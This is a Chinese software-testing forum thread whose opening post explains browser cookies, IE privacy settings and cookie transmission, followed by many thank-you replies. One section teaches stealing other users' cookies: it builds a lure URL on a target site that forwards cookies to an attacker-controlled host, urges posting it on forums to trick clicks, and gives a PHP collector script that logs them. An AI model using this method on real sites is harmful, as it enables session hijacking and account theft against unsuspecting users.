51Testing软件测试论坛

标题: 登陆的秘密. [打印本页]

作者: 阿七    时间: 2008-11-25 11:35
标题: 登陆的秘密.
Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。 这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!   
  一、了解Cookie 适用对象:初级读者   
  Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以
[email=user@domain]user@domain[/email]格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:/PROGRAMFILES/NETSCAPE/USERS/”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。   
  为了保证上网安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie偷谌降腃ookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。   
  Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息。它为我们提供了Server、Expires、Name、Value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据.

  二、Cookie的传递流程 适用对象:中级读者   
  当在浏览器地址栏中键入了一个Web站点的URL,浏览器会向该Web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。   
  Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、Value这几个字段,其中对服务器有用的只是Name和Value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。   
  三、Cookie的编程实现 适用对象:高级读者   
  多数网页编程语言都提供了对Cookie的支持。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。   
  该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。   
  1.分析并构造URL   
  首先打开我们要收集Cookie的网站,这里假设是
http://www.XXX.net,登陆网站输入用户名“”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/log ... ;ok.x=28&ok.y=6”的代码,将“”更换为“ ”再试;如果执行成功,就开始构造URL:“http://www.XXX.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。   
  2.编制PHP脚本   
  该脚本的作用就是收集Cookie文件,具体内容如下:   
    $info = getenv("QUERY_STRING");   
    if ($info) {   
    $fp = fopen("info.txt","a");   
        fwrite($fp,$info."/n");   
        fclose($fp);   
    }   
    header("Location:
http://www.XXX.net");   
    ?>   

  四、Cookie的安全问题 适用对象:所有希望上网安全的读者   
  1.Cookie欺骗   
  Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。   
  2.Flash的代码隐患   
  Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。


[ 本帖最后由 阿七 于 2010-8-30 15:20 编辑 ]
作者: 云层    时间: 2008-11-25 13:54
受用
作者: renf    时间: 2008-11-27 13:22
长见识了,多谢!之前是做C/S架构测试的,对cookies只是听说过而已,没有详细了解,
唉,现在想找个web 测试的工作,感觉好难啊!
作者: 阿七    时间: 2008-11-27 16:21
云层老师   荣幸  荣幸  呵呵
作者: 阿七    时间: 2008-11-27 16:22
淘宝   有啊   拍拍    很多的WEB测试工作哦   呵呵
作者: picture    时间: 2008-12-5 10:34
不能不顶!!! 准备向web测试路线发展
作者: xiaoyu32    时间: 2008-12-5 16:54
这是好帖子,支持!
作者: 超越自我    时间: 2008-12-6 11:02
好东西..

绝对好用!
作者: carry1986    时间: 2008-12-11 17:52
好东西.
作者: tommyxu    时间: 2008-12-12 10:40
cookie 和session 到底谁好
作者: lc448589698    时间: 2009-3-11 08:36
我现在做web测试,谢谢阿七的资料
作者: wangfang3296    时间: 2009-3-18 23:03
标题: 见识了
拜读了,不错
作者: yuanping850    时间: 2009-3-19 14:58
了解下
作者: benbenandme    时间: 2009-3-24 17:44
学习了,谢谢楼主
作者: lihongwei    时间: 2009-4-1 17:22
谢谢楼主,刚好用的着
作者: Eadgar    时间: 2009-4-2 10:55
刚好接触这一块,谢谢楼主的共享
作者: meiguishijun    时间: 2009-5-14 18:29
受用。
作者: majun915    时间: 2009-5-25 19:35
这是好帖子,支持!
作者: kuaileyun9    时间: 2009-6-9 11:48
这是好帖子,支持!
作者: 天地灭    时间: 2009-7-9 17:08
好东西,应该支持
作者: siriusbb    时间: 2009-8-20 15:38
标题: 非常感谢,学习了
:)
收藏
作者: cuiyz    时间: 2009-9-24 17:07
好帖子,顶一个。
作者: kuangquanshui    时间: 2009-9-24 17:24
绝对的好帖  学习了    cookie 是可以长期使用的  session 是在一次登录过程中使用的  退出后就失效了  功能和cookie有重叠但没有cookie的功能强大    我的理解是这样  不知道对不对  还请大家分析一下  最好可以短信告知我  大家一起研究
作者: huijuan0501    时间: 2009-10-30 15:47
学习啦!
作者: ducan    时间: 2009-11-3 18:31
不错
作者: goopy    时间: 2009-11-10 00:43

作者: 原点    时间: 2009-12-29 12:25
学习
作者: 原点    时间: 2009-12-29 12:25

作者: ylyanjob    时间: 2009-12-30 17:50

作者: lovecogate    时间: 2010-1-8 14:37
不错。以前只是知道Cookies这个名词,还没深入了解过呢
作者: tianbinghe    时间: 2010-1-12 11:04
thanks
作者: nobuo0908    时间: 2010-5-5 11:18
不错的东西  小甜品 不是这么好吃的!
作者: ilene    时间: 2010-5-5 16:31
支持下。
作者: chelili    时间: 2010-6-11 17:08
学习。。来支持等率一下了!!!!
作者: wuxiulin    时间: 2010-7-9 17:43
不错的东西,谢谢分享
作者: papeandpopo    时间: 2010-9-15 14:02
标题: 学习学习
学习学习学习
作者: wwx3628    时间: 2010-9-19 00:34
学习
作者: nieryy2009    时间: 2010-11-25 18:29
你可以对第一方Cookie偷谌降腃ookie进行设置   


   不错!! 正好多学习下...
作者: nathan193    时间: 2010-12-20 17:56
支持
作者: 061001    时间: 2010-12-21 09:06
一个IE都有很强大的功能,还从来不知道呢,要多学习呀
作者: 阿七    时间: 2010-12-22 15:58
哇   这样早的帖子都被翻出来了呢
作者: guchenggao    时间: 2010-12-22 16:43
了解下,谢谢LZ
作者: xiongshao1986    时间: 2011-1-17 11:56
学习学习一下,研究
作者: ganlanlv    时间: 2011-2-15 16:54
虽然刚看到。但是还是要给lz叫好!非常有用的分享!
作者: xtha21    时间: 2011-2-16 13:31
谢谢楼主分享,受用!!!
作者: xtha21    时间: 2011-2-16 13:31
谢谢楼主分享,受用!!!
作者: dwbmw    时间: 2011-2-17 17:24
cookie测试通常怎么测?有没有好的方法?望高人指导
作者: hzjceshi2009    时间: 2011-2-22 09:37

作者: seasonzhen    时间: 2011-4-25 14:56
谢谢楼主
作者: 春天梅花    时间: 2011-5-5 12:41

作者: 春天梅花    时间: 2011-5-5 12:42
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:42
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:43
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:43
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:43
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:43
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:43
这是好帖子,支持!
作者: 春天梅花    时间: 2011-5-5 12:43
这是好帖子,支持!
作者: ananbo    时间: 2011-6-13 13:44
好帖好楼主~
作者: qq13816974762    时间: 2011-6-16 23:53
看没了,学了知识,不顶太不厚道了
作者: qq13816974762    时间: 2011-6-16 23:56
回复 10# tommyxu
作者: qq13816974762    时间: 2011-6-16 23:58
一个是存储在客户端的,一个是服务器端的安全性肯定是session 好了,上次面试就是问个这个题目,一下把我纠结住了。。
作者: wxxfcda    时间: 2011-7-24 22:12
回复 1# 阿七


    受教
作者: blue40131    时间: 2011-8-23 16:05
终于了解了cookies啊,谢谢楼主分享
作者: btnn    时间: 2011-8-27 09:07
学习了,赞一个。
作者: block    时间: 2011-8-30 19:01
支持。。
作者: ttyang_lulu    时间: 2011-9-9 11:13
顶~
作者: xiaoming2624    时间: 2011-9-13 15:20
顶一下!
作者: 石头85    时间: 2011-9-13 17:03
学习
作者: 城北小菜    时间: 2011-11-7 11:19
又学到了一些东西,谢谢LZ ~~~~
作者: qq286099544    时间: 2011-11-7 14:09
来瞧瞧噢~
作者: a5914361    时间: 2011-11-19 10:37
学习了,非常有用!
作者: a5914361    时间: 2011-11-19 10:37
学习了,非常有用!
作者: 苗敏    时间: 2011-11-22 14:32
不错不错,谢谢分享。
作者: femir    时间: 2012-2-7 13:17
学习
作者: haha_faraway    时间: 2012-8-27 17:29
了解一下。。。。。。。。。。。。谢谢!
作者: lxh    时间: 2013-1-19 10:17

作者: 12qwsa    时间: 2013-2-18 10:54
这个版面的帖子都很老了,现在电子商务发展那么快
作者: kuangli1020    时间: 2013-2-21 17:44
不错贴,先谢谢啦
作者: 挑战无处不在    时间: 2013-4-23 17:08
不错的文章,受教了
作者: 炫彩琉璃    时间: 2013-5-2 21:49
学习了
作者: prettyboy123321    时间: 2013-6-11 12:17

作者: prettyboy123321    时间: 2013-6-11 12:17

作者: prettyboy123321    时间: 2013-6-11 12:17

作者: 秋爽    时间: 2013-6-19 13:48

作者: 夕阳西下°    时间: 2013-7-9 14:44
很受用,谢谢楼主捏
作者: shineforreal    时间: 2013-8-16 11:55
看了留个脚印,顶一顶
作者: 悠悠酱    时间: 2013-8-30 16:49
好东西,顶一个
作者: 一个馒头    时间: 2014-10-15 17:26

作者: 332104088    时间: 2014-10-26 23:32
涨姿势了
作者: z2734285    时间: 2015-1-22 08:36
受教咯
作者: ideas168    时间: 2015-1-26 17:05
很形象地介绍了cookie




欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/) Powered by Discuz! X3.2